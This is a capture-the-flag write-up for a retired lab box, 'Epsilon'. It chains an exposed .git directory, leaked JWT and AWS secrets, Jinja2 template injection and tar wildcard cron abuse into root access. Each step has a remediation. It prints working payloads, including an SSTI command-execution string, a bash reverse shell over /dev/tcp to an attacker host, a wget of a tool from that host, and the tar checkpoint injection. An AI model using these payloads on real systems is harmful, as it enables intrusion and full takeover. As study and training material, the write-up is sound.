Epsilon
Summary
I enumerated a Linux server exposing OpenSSH, Apache, and a Flask web application, then discovered that Apache carelessly served the application's entire .git directory to the public. Downloading the repository and walking its commit history uncovered a hard-coded Flask JWT signing secret and AWS access credentials that had been deleted from the live code but remained readable in the version log. With the JWT secret I forged an administrator-level session cookie and unlocked privileged routes in the Flask application.
The leaked AWS credentials were simultaneously used against a LocalStack service to enumerate deployed Lambda functions. An administrative form in the Flask app passed user-supplied text directly to the Jinja2 template engine, enabling server-side template injection that escalated to arbitrary OS command execution as the web process user and yielded the user flag. Post-exploitation process monitoring revealed a root-owned cron job archiving a web-writable directory with tar and a wildcard glob — a classic injection vector.
By planting files whose names were interpreted by tar as command-line flags, I injected a shell command that ran as root on the next cron tick, producing a SUID root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sCV -p 22,80,5000 $TARGETcurl -s http://$TARGET/.git/HEADFixBlock public access to the .git directory on the web serverCritical
Exact commands 4
git-dumper http://$TARGET/.git ./repocd repo && git log --onelinegit log -p | grep -A 5 -B 2 -E 'SECRET_KEY|AWS_ACCESS|AWS_SECRET'git show <COMMIT_HASH>FixRemove committed secrets from git history and rotate all exposed credentialsCritical
Exact commands 2
python3 -c "import jwt; print(jwt.encode({'username': 'admin'}, '<LEAKED_SECRET_KEY>', algorithm='HS256'))"curl -s -b "auth=<FORGED_JWT>" http://$TARGET:5000/homeFixGenerate the JWT signing secret randomly and inject it at runtime, never from sourceHigh
Exact commands 3
AWS_ACCESS_KEY_ID=<LEAKED_KEY_ID> AWS_SECRET_ACCESS_KEY=<LEAKED_SECRET> aws --endpoint-url=http://$TARGET:4566 lambda list-functions --region us-east-1AWS_ACCESS_KEY_ID=<LEAKED_KEY_ID> AWS_SECRET_ACCESS_KEY=<LEAKED_SECRET> aws --endpoint-url=http://$TARGET:4566 lambda get-function --function-name <FUNCTION_NAME> --region us-east-1curl -s '<PRESIGNED_S3_URL>' -o lambda.zip && unzip -d lambda_src lambda.zipExact commands 5
curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home -d "name={{7*7}}"curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home -d "name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"nc -lvnp 4444curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"').read()}}"cat /home/*/user.txtFixNever pass user input to the Jinja2 template engine; use static templates with context variablesCritical
Exact commands 2
wget http://$ATTACKER_IP/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64ls -la /opt/backupsExact commands 7
cd /opt/backupsecho 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh && chmod +x shell.shtouch './--checkpoint=1'touch './--checkpoint-action=exec=sh shell.sh'sleep 65 && ls -la /tmp/rootbash/tmp/rootbash -pcat /root/root.txtFixReplace tar wildcard expansion in root cron jobs and restrict backup directory write accessHigh
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 |
| 5000/tcp | http Werkzeug httpd 2.0.2 (Python 3.8.10) |